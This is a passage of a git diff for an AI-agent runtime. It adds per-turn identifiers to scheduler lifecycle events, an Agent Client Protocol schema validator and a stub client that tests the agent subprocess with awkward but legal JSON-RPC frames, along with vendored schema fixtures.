payload["turn_id"] = turn_id await self._emitter.emit(conversation_id, {"type": "error", "payload": payload}) @@ -234,7 +299,24 @@ async def _finish(conversation_id: str) -> None: await hub.close_stream(conversation_id) await hub.wait_idle(channel) - def _drop(conversation_id: str) -> None: + def _owns_lane(conversation_id: str, turn_id: str) -> bool: + """Whether the ending turn is the one ``turn.send`` bound this lane to. + + A lane is serial but its slots are per-lane, so a turn the runtime + submitted itself can end while a client's turn is still QUEUED behind it + on the same lane. Releasing the slots there opens the -32003 guard for a + second send and leaves the queued turn's own end with no binding to + report against. + """ + return bool(turn_id) and turn_ids.get(conversation_id) == turn_id + + def _drop(conversation_id: str, *, owns: bool) -> None: + if not owns: + return + # usages is keyed by lane like turn_ids, so it is gated the same way: a + # turn cancelled while queued shares this key with whichever turn is + # actually running, and popping unconditionally would drop that turn's + # just-written usage before its own TurnEnded reads it. turn_ids.pop(conversation_id, None) usages.pop(conversation_id, None) if on_turn_end is not None: @@ -243,18 +325,20 @@ def _drop(conversation_id: str) -> None: async def sink(event: TurnEvent) -> None: if isinstance(event, TurnEnded): await _finish(event.conversation_id) - turn_id = turn_ids.get(event.conversation_id) usage = usages.get(event.conversation_id) or { "prompt_tokens": 0, "completion_tokens": 0, "total_tokens": 0, } - _drop(event.conversation_id) - await outlet.emit_complete(event.conversation_id, turn_id, usage) + # Read before _drop pops the register. + _drop(event.conversation_id, owns=_owns_lane(event.conversation_id, event.turn_id)) + # The ending turn's own id, never the lane slot's current value: the + # slot may hold a client turn that has not started yet. + await outlet.emit_complete(event.conversation_id, event.turn_id, usage) return if isinstance(event, TurnFailed): await _finish(event.conversation_id) - _drop(event.conversation_id) + _drop(event.conversation_id, owns=_owns_lane(event.conversation_id, event.turn_id)) # A cancelled turn's error is emitted by turn.cancel, not here, to # avoid a double error event. if not event.cancelled: @@ -264,6 +348,10 @@ async def sink(event: TurnEvent) -> None: "turn_failed", "internal", event.error or "", + # The ending turn's own id, for the same reason + # ``emit_complete`` takes it rather than reading the lane + # slot: the slot may hold a client turn that has not started. + turn_id=event.turn_id, ) return if isinstance(event, TurnStarted): diff --git a/raven/tui_rpc/subscriptions.py b/raven/rpc/subscriptions.py similarity index 100% rename from raven/tui_rpc/subscriptions.py rename to raven/rpc/subscriptions.py diff --git a/raven/spine/__init__.py b/raven/spine/__init__.py index 33bd80df..a60af021 100644 --- a/raven/spine/__init__.py +++ b/raven/spine/__init__.py @@ -26,7 +26,7 @@ from raven.spine.message import ChatType, Media, Source from raven.spine.runner import Emit, TurnOutcome, TurnRunner from raven.spine.scheduler import OriginPools, Scheduler, TurnHandle -from raven.spine.turn import BusyPolicy, Origin, TurnRequest +from raven.spine.turn import BusyPolicy, Origin, TurnRequest, session_of __all__ = [ "BusyPolicy", @@ -54,6 +54,7 @@ "TurnHandle", "TurnOutcome", "TurnRequest", + "session_of", "TurnRunner", "TurnStarted", "Usage", diff --git a/raven/spine/events.py b/raven/spine/events.py index 085b97f0..92e48655 100644 --- a/raven/spine/events.py +++ b/raven/spine/events.py @@ -23,6 +23,10 @@ class NoticeKind(StrEnum): TOOL_HINT = "tool_hint" INJECTED = "injected" DELIVERY_FAILED = "delivery_failed" + # The runtime ended the turn on a safety decision. Unlike the kinds above, + # this one replaces the answer rather than accompanying it, so an outlet + # that renders nothing else should still render this. + ACTION_BLOCKED = "action_blocked" class ToolPhase(StrEnum): @@ -34,12 +38,18 @@ class ToolPhase(StrEnum): # Lifecycle events — emitted by the worker, never by a runner. +# ``turn_id`` is the second correlation axis alongside ``conversation_id``: the +# lane is WHERE a turn ran, this is WHICH turn ran. A consumer keyed only on the +# lane stamps a turn's end with whatever a per-lane slot last held, which is a +# different turn whenever the runtime submits one of its own onto a busy lane. + @dataclass(frozen=True) class TurnStarted: """Marker that a turn began.""" conversation_id: str | None = None + turn_id: str = "" @dataclass(frozen=True) @@ -47,6 +57,7 @@ class TurnFailed: error: str cancelled: bool conversation_id: str | None = None + turn_id: str = "" @dataclass(frozen=True) @@ -55,6 +66,7 @@ class TurnEnded: latency_ms: float explicit_reply: bool conversation_id: str | None = None + turn_id: str = "" # Deliverable events — emitted by the runner, routed to outlets. @@ -72,6 +84,22 @@ class ToolEvent: truncated: bool = False source: Source | None = None conversation_id: str | None = None + # START only: the tool is a blocking interaction, so it has no automatic + # deadline and may emit nothing for as long as it runs. An outlet whose + # client clocks the stream must suspend that clock while it is in flight. + blocking: bool = False + # COMPLETE only: opt-in structured payload from ToolResult.metadata (e.g. a + # file manifest). Outlets that do not understand a key ignore it. + metadata: dict[str, Any] | None = None + # COMPLETE only: unified diff of what the call changed on disk, when the + # tool could produce one (see ToolResult.diff). For an outlet that renders + # the change; never shown to the model. + diff: str | None = None + # COMPLETE only, and beside ``diff`` rather than instead of it: the same + # change as ``{path, after, before}`` for an outlet that draws its own diff + # and therefore needs the contents, not a rendering of them. Carried as a + # plain mapping so ``spine`` stays free of the tools package. + file_change: dict[str, Any] | None = None @dataclass(frozen=True) diff --git a/raven/spine/scheduler.py b/raven/spine/scheduler.py index 199073d0..caf8a5b0 100644 --- a/raven/spine/scheduler.py +++ b/raven/spine/scheduler.py @@ -12,6 +12,7 @@ from collections.abc import Awaitable, Callable from dataclasses import replace from typing import get_args +from uuid import uuid4 from loguru import logger @@ -78,6 +79,12 @@ def __init__(self, runner: TurnRunner, pools: OriginPools, sink: EventSink, conv self._inject_mailbox: deque[tuple[TurnRequest, asyncio.Future]] = deque() def submit(self, req: TurnRequest, policy: BusyPolicy = BusyPolicy.APPEND) -> asyncio.Future: + # Identity is resolved on the way in, not at run time: a turn can end + # WITHOUT ever running (cancelled while queued) and still has to name + # itself on its terminal event, or the consumer holding its slots has + # nothing to match and never releases them. + if not req.turn_id: + req = replace(req, turn_id=uuid4().hex) loop = asyncio.get_running_loop() fut: asyncio.Future = loop.create_future() self._idle_since = None # active again: reset the reaper's silence clock @@ -252,6 +259,20 @@ async def emit(event: RunnerEvent) -> None: return emit async def _run_turn(self, req: TurnRequest) -> TurnOutcome | None: + # Resolve the turn's identity here, once, and put it back on the request so + # the runner and the lifecycle events agree on one value. Minted when the + # submitter supplied none: a turn the runtime submits onto a busy lane (a + # sub-agent announce, a deep-research delivery) must still be + # distinguishable from the client turn queued behind it, or a consumer keyed + # on a per-lane slot ends the wrong turn. + # Falsy, not just None: turn_id is a public field and an empty string + # would otherwise pass through to be stamped, which makes the turn a + # permanent non-owner of its own slots -- the exact shape the identity + # carried here exists to rule out. Normally already resolved by submit; + # this covers a runner driven directly. + if not req.turn_id: + req = replace(req, turn_id=uuid4().hex) + turn_id = req.turn_id chained: list[asyncio.Future] = [] def drain() -> list[TurnRequest]: @@ -267,17 +288,31 @@ def drain() -> list[TurnRequest]: started = False try: async with self._pools.for_origin(req.origin): - await self._sink(TurnStarted(conversation_id=self._conversation_id)) + await self._sink(TurnStarted(conversation_id=self._conversation_id, turn_id=turn_id)) started = True run_start = time.monotonic() outcome = await self._runner.run(req, self._make_emit(req), drain) except asyncio.CancelledError: if started: # only pair a TurnStarted; a pre-start cancel emits nothing - await self._sink(TurnFailed(error="cancelled", cancelled=True, conversation_id=self._conversation_id)) + await self._sink( + TurnFailed( + error="cancelled", + cancelled=True, + conversation_id=self._conversation_id, + turn_id=turn_id, + ) + ) raise except Exception as exc: if started: - await self._sink(TurnFailed(error=str(exc), cancelled=False, conversation_id=self._conversation_id)) + await self._sink( + TurnFailed( + error=str(exc), + cancelled=False, + conversation_id=self._conversation_id, + turn_id=turn_id, + ) + ) return None finally: # A drained inject shares this turn's outcome (None on cancel/failure); @@ -291,6 +326,7 @@ def drain() -> list[TurnRequest]: latency_ms=latency_ms, explicit_reply=outcome.explicit_reply, conversation_id=self._conversation_id, + turn_id=turn_id, ) ) return outcome diff --git a/raven/spine/turn.py b/raven/spine/turn.py index 01a71fd1..8373e24a 100644 --- a/raven/spine/turn.py +++ b/raven/spine/turn.py @@ -24,6 +24,28 @@ class BusyPolicy(StrEnum): INTERRUPT = "interrupt" +# A lane is a serial domain, so a turn that is to answer while another is +# answering needs a lane of its own. The scheduler already keys lanes on +# ``conversation`` and documents the case: a channel that keys by a +# sub-conversation within a chat formats that key itself. +# +# Nothing in this repo formats such a key yet, so every lane here IS its own +# session and ``session_of`` returns what it was given. It exists because a +# consumer that maps a lane to the subscription it belongs to must not have to +# know whether the lane happens to be a plain session key today. +_LANE_SEP = "#" + + +def session_of(lane: str) -> str: + """The session a lane belongs to; a main-agent lane *is* its session. + + Splits on the **first** separator, which is what makes the encoding safe: a + session key is ``channel:chat_id`` and never contains one, while a handle is + free-form text the model chose and may contain anything at all. + """ + return lane.split(_LANE_SEP, 1)[0] + + @dataclass(frozen=True) class SentinelExtras: """Sentinel's private per-turn extras namespace (canon v8). @@ -54,6 +76,14 @@ class TurnRequest: text: str media: tuple[Media, ...] = () message_id: str | None = None + # The turn's own identity, carried on its lifecycle events so a consumer can + # tell WHICH turn just ended. Distinct from ``message_id`` above, which is an + # inbound channel message's id: one inbound message is one turn today, but a + # turn the runtime submits itself has no inbound message at all. A submitter + # that must correlate the end with its own call sets this (``turn.send`` + # returns it to the client); left unset, the lane mints one, so every turn is + # identified whether or not its submitter cared. + turn_id: str | None = None conversation: str | None = None busy: BusyPolicy = BusyPolicy.APPEND sentinel: SentinelExtras | None = None diff --git a/tests/acp_schema.py b/tests/acp_schema.py new file mode 100644 index 00000000..3e175e07 --- /dev/null +++ b/tests/acp_schema.py @@ -0,0 +1,227 @@ +"""Validate raven's outbound ACP frames against the vendored official schema. + +Not a test module (pytest collects ``test_*``): this is the judge the ACP unit +tests run their frames through, so a mapping that drifts from the spec fails in +the test that produced the frame rather than in a reviewer's reading. + +The fixture under ``tests/fixtures/acp/`` is the schema published by +``agentclientprotocol/agent-client-protocol``, vendored rather than fetched: a +test that reaches the network is not a test, and a schema that moves under us +turns an unrelated change red. ``VERSION.json`` pins which release it is and the +sha256 of each file, so upgrading the spec is a deliberate edit with a visible +diff instead of a silent drift (``test_acp_schema.py`` asserts the pair). + +Direction, in the schema's own words: ``Agent*`` unions are what the agent +*sends*. Raven is the agent here, so every frame it writes must validate against +the top-level ``Agent`` branch -- ``AgentResponse`` for a reply, ``AgentRequest`` +for something it asks the client to do, ``AgentNotification`` for +``session/update``. The mirrored ``Client`` branch is what the stub client sends, +and :func:`validate_inbound` exists so the stub's own frames are held to the +same standard rather than being trusted because we wrote them. + +**What this cannot catch, measured, not assumed.** The schema sets +``additionalProperties`` 118 times and every one of them is ``true``; not one is +``false``. So an extra or misspelled key validates -- which is exactly the +characteristic bug of a hand-written mapper. What it does catch is a missing +required field, a value of the wrong type, and a value outside a closed enum +(``sessionUpdate``, ``stopReason``, ``ToolKind``, ``ToolCallStatus``). The +union-level checks are looser still: ``method`` is declared ``type: string`` with +no enum, and ``params`` is ``anyOf[..., null]``, so a frame with an invented +method name and no params satisfies ``AgentNotification``. Method names are +therefore checked separately, against ``meta-v1.json``, by +:func:`agent_method_names` -- and payloads are checked against their own +``$defs`` entry by :func:`validate_def`, which is where the discriminating power +actually lives. Prefer it over the frame-level helpers when a test knows what it +built. +""" + +from __future__ import annotations + +import hashlib +import json +from functools import lru_cache +from pathlib import Path +from typing import Any + +from jsonschema import Draft202012Validator + +FIXTURE_DIR = Path(__file__).parent / "fixtures" / "acp" +SCHEMA_PATH = FIXTURE_DIR / "schema-v1.json" +META_PATH = FIXTURE_DIR / "meta-v1.json" +VERSION_PATH = FIXTURE_DIR / "VERSION.json" + + +class AcpSchemaError(AssertionError): + """An outbound frame does not match the official schema. + + An ``AssertionError`` subclass so a failure reads as the test failing rather + than as the validator erroring: the frame is the thing under test. + """ + + +@lru_cache(maxsize=1) +def schema() -> dict[str, Any]: + """The vendored schema document, parsed once per process.""" + return json.loads(SCHEMA_PATH.read_text(encoding="utf-8")) + + +@lru_cache(maxsize=1) +def meta() -> dict[str, Any]: + """The vendored method-name manifest (``meta-v1.json``).""" + return json.loads(META_PATH.read_text(encoding="utf-8")) + + +@lru_cache(maxsize=1) +def version_stamp() -> dict[str, Any]: + """The pinned release and per-file digests (``VERSION.json``).""" + return json.loads(VERSION_PATH.read_text(encoding="utf-8")) + + +def sha256_of(name: str) -> str: + """Hex digest of one fixture file, read as bytes. + + Bytes rather than re-serialised JSON: the digest has to answer "is this the + file that was vendored", and a round-trip through ``json.dumps`` would + change key order and whitespace while claiming the file was untouched. + """ + return hashlib.sha256((FIXTURE_DIR / name).read_bytes()).hexdigest() + + +@lru_cache(maxsize=1) +def agent_method_names() -> frozenset[str]: + """Methods a *client* may call on the agent, per the manifest. + + This is the set raven's dispatcher is allowed to answer with anything other + than method-not-found. It is read from the manifest rather than typed out + here so the 18 unstable methods, which the manifest omits, cannot be + registered by accident and then blessed by a test that lists them too. + """ + return frozenset(str(v) for v in meta().get("agentMethods", {}).values()) + + +@lru_cache(maxsize=1) +def client_method_names() -> frozenset[str]: + """Methods the agent may call on the client, per the manifest.""" + return frozenset(str(v) for v in meta().get("clientMethods", {}).values()) + + +@lru_cache(maxsize=None) +def _validator(pointer: str) -> Draft202012Validator: + """A validator for one JSON pointer into the vendored document. + + Built by wrapping the target in a document that carries the whole ``$defs`` + table, which works because all 168 ``$ref``s in the schema are local + ``#/$defs/...`` pointers -- verified, and asserted by + ``test_acp_schema.py`` so a future schema with an external ref fails here + loudly instead of resolving to nothing. + """ + root = schema() + Draft202012Validator.check_schema(root) + subject: dict[str, Any] = { + "$schema": root.get("$schema", "https://json-schema.org/draft/2020-12/schema"), + "$defs": root["$defs"], + "$ref": pointer, + } + return Draft202012Validator(subject) + + +@lru_cache(maxsize=None) +def _direction_validator(title: str) -> Draft202012Validator: + """A validator for one top-level branch (``Agent`` / ``Client``). + + Selected by ``title`` rather than by index so a reordering of the schema's + ``anyOf`` cannot silently swap the two directions -- which would make every + outbound assertion check the wrong half of the protocol and still pass. + """ + root = schema() + for branch in root["anyOf"]: + if branch.get("title") == title: + subject = { + "$schema": root.get("$schema", "https://json-schema.org/draft/2020-12/schema"), + "$defs": root["$defs"], + **{k: v for k, v in branch.items() if k not in ("title", "description")}, + } + return Draft202012Validator(subject) + raise AcpSchemaError(f"the vendored schema has no top-level branch titled {title!r}") + + +def _explain(errors: list[Any], subject: str, payload: Any) -> str: + """Render validation errors with enough context to act on. + + The path is included because a failure three levels inside a content block + reads as "the whole notification is wrong" without it, and the payload is + truncated because a 3 MB pasted image would otherwise bury the message it + came with. + """ + lines = [f"{subject} does not match the official ACP schema:"] + for err in errors: + where = "/".join(str(p) for p in err.absolute_path) or "" + lines.append(f" at {where}: {err.message}") + rendered = json.dumps(payload, ensure_ascii=False, default=repr) + lines.append(f" payload: {rendered[:800]}") + return "\n".join(lines) + + +def _check(validator: Draft202012Validator, payload: Any, subject: str) -> None: + errors = sorted(validator.iter_errors(payload), key=lambda e: list(e.absolute_path)) + if errors: + raise AcpSchemaError(_explain(errors, subject, payload)) + + +def validate_def(name: str, payload: Any) -> None: + """Validate ``payload`` against ``#/$defs/``, raising on mismatch. + + The precise check, and the one worth reaching for: it holds a + ``SessionNotification`` to the ``SessionUpdate`` union, a + ``RequestPermissionRequest`` to its required ``toolCall``, and a + ``StopReason`` to the five values that exist. + """ + if name not in schema()["$defs"]: + raise AcpSchemaError(f"the vendored schema has no definition named {name!r}") + _check(_validator(f"#/$defs/{name}"), payload, name) + + +def validate_outbound(frame: Any) -> None: + """Validate a frame raven writes to stdout (the ``Agent`` direction).""" + _check(_direction_validator("Agent"), frame, "outbound frame") + + +def validate_inbound(frame: Any) -> None: + """Validate a frame a client writes to raven (the ``Client`` direction). + + Used by the stub client's own tests: a stub that sends an illegal frame + would prove raven tolerant of something no real client can produce. + """ + _check(_direction_validator("Client"), frame, "inbound frame") + + +def is_valid_def(name: str, payload: Any) -> bool: + """Whether ``payload`` matches ``#/$defs/``. + + For the negative half of a discrimination test, where the point is that the + validator says no. + """ + try: + validate_def(name, payload) + except AcpSchemaError: + return False + return True + + +__all__ = [ + "FIXTURE_DIR", + "META_PATH", + "SCHEMA_PATH", + "VERSION_PATH", + "AcpSchemaError", + "agent_method_names", + "client_method_names", + "is_valid_def", + "meta", + "schema", + "sha256_of", + "validate_def", + "validate_inbound", + "validate_outbound", + "version_stamp", +] diff --git a/tests/acp_stub_client.py b/tests/acp_stub_client.py new file mode 100644 index 00000000..2a59a334 --- /dev/null +++ b/tests/acp_stub_client.py @@ -0,0 +1,326 @@ +"""An adversarial ACP client that drives a real ``raven acp`` subprocess. + +The inverse of ``tests/acp_stub_server.py``, and the inversion changes its shape. +That module is *exec'd*, so its fourteen behaviours are selected by an +environment variable; this one is the parent, so its behaviours are the test +functions that use it and what lives here is the driver. + +Not a test module (pytest collects ``test_*``): this is the other end of the +executable under test. It speaks real newline-delimited JSON-RPC to a real child +process over real pipes, so what it exercises is launch, framing, request +correlation, concurrency and teardown -- none of which a mocked transport +touches. + +The original's malice is kept. It exists to be the client a well-behaved agent +survives and a lucky one does not: string request ids rather than integers (an +agent that indexes its pending map by ``int`` fails), a version string where an +integer belongs, ids that are legal JSON-RPC and awkward (``0``, negative), +notifications for sessions that never existed, and a request pipelined behind a +suspended one. Where the stub server listed its permission options in reverse so +a client picking "the first option" failed rather than passing by luck, this one +sends its frames in orders an agent that assumes sequence will fail on. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import json +import os +import sys +from collections.abc import AsyncIterator, Callable +from pathlib import Path +from typing import Any + +DEFAULT_TIMEOUT = 60.0 +"""How long to wait for one answer. + +Generous because the agent builds an entire engine -- config, tools, cron, the +memory backend -- before it answers the first frame, and a machine under load +makes that seconds rather than milliseconds. A test that wants to prove +something is *fast* should assert on elapsed time, not on this. +""" + + +def raven_binary() -> Path: + """The console script next to the interpreter running the tests. + + The same derivation ``tui_commands`` uses for its own child, so a test and a + real launch resolve the same binary rather than whichever one PATH happens to + hold. + """ + return Path(sys.executable).with_name("raven.exe" if sys.platform == "win32" else "raven") + + +class StubClient: + """One connection to a spawned agent, with a pending map and a frame log. + + Stdout is drained by a background task rather than on demand. An agent is + free to send ``session/update`` notifications at any time, including while a + request is outstanding, and a client that only read when it expected a + response would deadlock the moment the agent filled the pipe buffer -- which + is precisely what a streaming turn does. + """ + + def __init__( + self, + *, + argv: list[str] | None = None, + env: dict[str, str] | None = None, + cwd: str | Path | None = None, + ) -> None: + self._argv = argv or [str(raven_binary()), "acp"] + self._env = env + self._cwd = str(cwd) if cwd is not None else None + self._process: asyncio.subprocess.Process | None = None + self._pending: dict[Any, asyncio.Future[dict[str, Any]]] = {} + self._reader_task: asyncio.Task[None] | None = None + self._next_id = 0 + self.frames: list[dict[str, Any]] = [] + self.stderr: bytes = b"" + self.malformed: list[bytes] = [] + # Fired for every inbound notification, so a test can wait on the + # streaming half without polling the frame log. + self.notifications: asyncio.Queue[dict[str, Any]] = asyncio.Queue() + # Requests the agent makes of the client. Left unanswered by default: + # what a test wants to pin is usually what the agent does when nobody + # replies, which is the failure the protocol has no timeout for. + self.inbound_requests: asyncio.Queue[dict[str, Any]] = asyncio.Queue() + + # -- lifecycle -------------------------------------------------------- + + async def start(self) -> "StubClient": + env = dict(os.environ) + if self._env: + env.update(self._env) + self._process = await asyncio.create_subprocess_exec( + *self._argv, + stdin=asyncio.subprocess.PIPE, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + env=env, + cwd=self._cwd, + # Its own group, so a hung agent can be killed whole. An agent that + # spawned children of its own -- and this one runs shell commands -- + # leaves them attached to the terminal otherwise. + start_new_session=True, + ) + self._reader_task = asyncio.create_task(self._drain_stdout()) + return self + + async def close(self) -> None: + """Close stdin, let the agent exit, and kill it if it will not. + + Closing stdin rather than signalling: that is how an editor ends an ACP + session, so it is the path worth exercising. The kill is the backstop, and + it is a process-group kill because the agent's own children would survive + a single-process one. + """ + process = self._process + if process is None: + return + with contextlib.suppress(Exception): + if process.stdin is not None and not process.stdin.is_closing(): + process.stdin.close() + try: + await asyncio.wait_for(process.wait(), timeout=15.0) + except (asyncio.TimeoutError, asyncio.CancelledError): + self._kill_group(process) + with contextlib.suppress(Exception): + await asyncio.wait_for(process.wait(), timeout=5.0) + if self._reader_task is not None: + self._reader_task.cancel() + with contextlib.suppress(asyncio.CancelledError, Exception): + await self._reader_task + if process.stderr is not None: + with contextlib.suppress(Exception): + self.stderr = await process.stderr.read() + for future in self._pending.values(): + if not future.done(): + future.cancel() + + @staticmethod + def _kill_group(process: asyncio.subprocess.Process) -> None: + if not hasattr(os, "killpg"): + with contextlib.suppress(ProcessLookupError): + process.kill() + return + import signal + + with contextlib.suppress(ProcessLookupError): + os.killpg(process.pid, signal.SIGKILL) + + @property + def returncode(self) -> int | None: + return None if self._process is None else self._process.returncode + + # -- sending ---------------------------------------------------------- + + async def request( + self, + method: str, + params: dict[str, Any] | None = None, + *, + request_id: Any = None, + timeout: float = DEFAULT_TIMEOUT, + ) -> dict[str, Any]: + """Send a request and wait for the frame that answers it.""" + future = await self.send_request(method, params, request_id=request_id) + return await asyncio.wait_for(future, timeout=timeout) + + async def send_request( + self, + method: str, + params: dict[str, Any] | None = None, + *, + request_id: Any = None, + ) -> asyncio.Future[dict[str, Any]]: + """Send a request and return its future without waiting. + + The seam for pipelining: two requests in flight is legal, and an agent + that handles frames inline instead of concurrently deadlocks on the + second -- which is the whole point of testing it. + """ + if request_id is None: + self._next_id += 1 + # Strings rather than integers by default. Legal per JSON-RPC, and an + # agent that keyed its pending map by int fails here instead of in + # front of a user. + request_id = f"stub-{self._next_id}" + future: asyncio.Future[dict[str, Any]] = asyncio.get_running_loop().create_future() + self._pending[_key(request_id)] = future + await self.write({"jsonrpc": "2.0", "id": request_id, "method": method, **_params(params)}) + return future + + async def notify(self, method: str, params: dict[str, Any] | None = None) -> None: + await self.write({"jsonrpc": "2.0", "method": method, **_params(params)}) + + async def write(self, frame: dict[str, Any]) -> None: + await self.write_bytes(json.dumps(frame, ensure_ascii=False).encode("utf-8") + b"\n") + + async def write_bytes(self, payload: bytes) -> None: + """Put bytes on the wire with no framing help at all. + + The malice seam: an oversized line, a truncated one, invalid UTF-8, two + frames in one write, a frame split across two writes. All of these are + things a real client does under load, and each has to produce an answer + rather than a dead agent. + """ + process = self._process + if process is None or process.stdin is None: + raise RuntimeError("the agent is not running") + process.stdin.write(payload) + await process.stdin.drain() + + # -- convenience ------------------------------------------------------ + + async def handshake(self, **overrides: Any) -> dict[str, Any]: + params: dict[str, Any] = {"protocolVersion": 1, "clientCapabilities": {}} + params.update(overrides) + response = await self.request("initialize", params) + return _result(response, "initialize") + + async def new_session(self, cwd: str | Path, **overrides: Any) -> str: + params: dict[str, Any] = {"cwd": str(cwd), "mcpServers": []} + params.update(overrides) + response = await self.request("session/new", params) + return _result(response, "session/new")["sessionId"] + + async def updates( + self, session_id: str, *, until: Callable[[dict[str, Any]], bool], timeout: float = DEFAULT_TIMEOUT + ) -> list[dict[str, Any]]: + """Collect ``session/update`` payloads for one session until ``until``. + + Filtered by session id because a connection may carry several, and a test + that collected all of them would pass on another session's stream. + """ + collected: list[dict[str, Any]] = [] + + async def _collect() -> None: + while True: + frame = await self.notifications.get() + if frame.get("method") != "session/update": + continue + params = frame.get("params") or {} + if params.get("sessionId") != session_id: + continue + update = params.get("update") or {} + collected.append(update) + if until(update): + return + + await asyncio.wait_for(_collect(), timeout=timeout) + return collected + + def text_of(self, updates: list[dict[str, Any]], kind: str = "agent_message_chunk") -> str: + return "".join(u.get("content", {}).get("text", "") for u in updates if u.get("sessionUpdate") == kind) + + # -- receiving -------------------------------------------------------- + + async def _drain_stdout(self) -> None: + process = self._process + assert process is not None and process.stdout is not None + while True: + line = await process.stdout.readline() + if not line: + return + try: + frame = json.loads(line) + except (json.JSONDecodeError, ValueError): + # Recorded rather than raised. This is the assertion most tests + # care about -- an agent whose stdout is not pure protocol -- and + # it reads better as a collected fact than as an exception from a + # background task. + self.malformed.append(line) + continue + if not isinstance(frame, dict): + self.malformed.append(line) + continue + self.frames.append(frame) + if "method" in frame: + if "id" in frame: + self.inbound_requests.put_nowait(frame) + else: + self.notifications.put_nowait(frame) + continue + future = self._pending.pop(_key(frame.get("id")), None) + if future is not None and not future.done(): + future.set_result(frame) + + +@contextlib.asynccontextmanager +async def stub_client(**kwargs: Any) -> AsyncIterator[StubClient]: + """A started client, closed on the way out even if the test fails.""" + client = await StubClient(**kwargs).start() + try: + yield client + finally: + await client.close() + + +def _params(params: dict[str, Any] | None) -> dict[str, Any]: + return {} if params is None else {"params": params} + + +def _key(request_id: Any) -> Any: + """A hashable, type-stable key for the pending map. + + ``1`` and ``"1"`` are different request ids and must not collide, while an + unhashable id (a list, which is illegal but sendable) must not crash the + reader. + """ + if isinstance(request_id, (str, int, float, bool)) or request_id is None: + return (type(request_id).__name__, request_id) + return ("repr", repr(request_id)) + + +def _result(response: dict[str, Any], method: str) -> dict[str, Any]: + if "error" in response: + raise AssertionError(f"{method} failed: {response['error']}") + result = response.get("result") + if not isinstance(result, dict): + raise AssertionError(f"{method} answered with no result object: {response}") + return result + + +__all__ = ["DEFAULT_TIMEOUT", "StubClient", "raven_binary", "stub_client"] diff --git a/tests/fixtures/acp/VERSION.json b/tests/fixtures/acp/VERSION.json new file mode 100644 index 00000000..446e23eb --- /dev/null +++ b/tests/fixtures/acp/VERSION.json @@ -0,0 +1,10 @@ +{ + "acp_schema_version": "1.20.0", + "released": "2026-07-21", + "source": "https://github.com/agentclientprotocol/agent-client-protocol", + "upstream_path": "schema/schema.json", + "sha256": { + "schema-v1.json": "7f1fba1561163729115247df75b67aeed02085115fbc7ef0131fb01d456c08f9", + "meta-v1.json": "061edb6efa8fb2aa2792459a86ec7268de5fe665bba48b2ffe7939df01481f88" + } +} diff --git a/tests/fixtures/acp/meta-v1.json b/tests/fixtures/acp/meta-v1.json new file mode 100644 index 00000000..b9c67caa --- /dev/null +++ b/tests/fixtures/acp/meta-v1.json @@ -0,0 +1,34 @@ +{ + "version": 1, + "agentMethods": { + "initialize": "initialize", + "authenticate": "authenticate", + "session_new": "session/new", + "session_load": "session/load", + "session_set_mode": "session/set_mode", + "session_set_config_option": "session/set_config_option", + "session_prompt": "session/prompt", + "session_cancel": "session/cancel", + "session_list": "session/list", + "session_delete": "session/delete", + "session_resume": "session/resume", + "session_close": "session/close", + "logout": "logout" + }, + "clientMethods": { + "session_request_permission": "session/request_permission", + "session_update": "session/update", + "fs_write_text_file": "fs/write_text_file", + "fs_read_text_file": "fs/read_text_file", + "terminal_create": "terminal/create", + "terminal_output": "terminal/output", + "terminal_release": "terminal/release", + "terminal_wait_for_exit": "terminal/wait_for_exit", + "terminal_kill": "terminal/kill", + "elicitation_create": "elicitation/create", + "elicitation_complete": "elicitation/complete" + }, + "protocolMethods": { + "cancel_request": "$/cancel_request" + } +} diff --git a/tests/fixtures/acp/schema-v1.json b/tests/fixtures/acp/schema-v1.json new file mode 100644 index 00000000..a01db818 --- /dev/null +++ b/tests/fixtures/acp/schema-v1.json @@ -0,0 +1,5749 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "title": "Agent Client Protocol", + "anyOf": [ + { + "title": "Agent", + "description": "A message (request, response, or notification) with `\"jsonrpc\": \"2.0\"` specified as\n[required by JSON-RPC 2.0 Specification][1].\n\n[1]: https://www.jsonrpc.org/specification#compatibility", + "type": "object", + "properties": { + "jsonrpc": { + "type": "string", + "enum": ["2.0"] + } + }, + "required": ["jsonrpc"], + "anyOf": [ + { + "title": "Request", + "allOf": [ + { + "$ref": "#/$defs/AgentRequest" + } + ] + }, + { + "title": "Response", + "allOf": [ + { + "$ref": "#/$defs/AgentResponse" + } + ] + }, + { + "title": "Notification", + "allOf": [ + { + "$ref": "#/$defs/AgentNotification" + } + ] + } + ] + }, + { + "title": "Client", + "description": "A message (request, response, or notification) with `\"jsonrpc\": \"2.0\"` specified as\n[required by JSON-RPC 2.0 Specification][1].\n\n[1]: https://www.jsonrpc.org/specification#compatibility", + "type": "object", + "properties": { + "jsonrpc": { + "type": "string", + "enum": ["2.0"] + } + }, + "required": ["jsonrpc"], + "anyOf": [ + { + "title": "Request", + "allOf": [ + { + "$ref": "#/$defs/ClientRequest" + } + ] + }, + { + "title": "Response", + "allOf": [ + { + "$ref": "#/$defs/ClientResponse" + } + ] + }, + { + "title": "Notification", + "allOf": [ + { + "$ref": "#/$defs/ClientNotification" + } + ] + } + ] + }, + { + "title": "ProtocolLevel", + "description": "A message (request, response, or notification) with `\"jsonrpc\": \"2.0\"` specified as\n[required by JSON-RPC 2.0 Specification][1].\n\n[1]: https://www.jsonrpc.org/specification#compatibility", + "type": "object", + "properties": { + "jsonrpc": { + "type": "string", + "enum": ["2.0"] + }, + "method": { + "description": "The notification method name.", + "type": "string" + }, + "params": { + "description": "Method-specific notification parameters.", + "anyOf": [ + { + "description": "General protocol-level notifications that all sides are expected to\nimplement.\n\nNotifications whose methods start with '$/' are messages which\nare protocol implementation dependent and might not be implementable in all\nclients or agents. For example if the implementation uses a single threaded\nsynchronous programming language then there is little it can do to react to\na `$/cancel_request` notification. If an agent or client receives\nnotifications starting with '$/' it is free to ignore the notification.\n\nNotifications do not expect a response.", + "anyOf": [ + { + "title": "CancelRequestNotification", + "description": "Cancels an ongoing request.\n\nThis is a notification sent by the side that sent a request to cancel that request.\n\nUpon receiving this notification, the receiver:\n\n1. MAY cancel the corresponding request activity and all nested activities\n2. MAY send any pending notifications.\n3. MUST send one of these responses for the original request:\n - Valid response with appropriate data (partial results or cancellation marker)\n - Error response with code `-32800` (Cancelled)\n\nSee protocol docs: [Cancellation](https://agentclientprotocol.com/protocol/cancellation)", + "allOf": [ + { + "$ref": "#/$defs/CancelRequestNotification" + } + 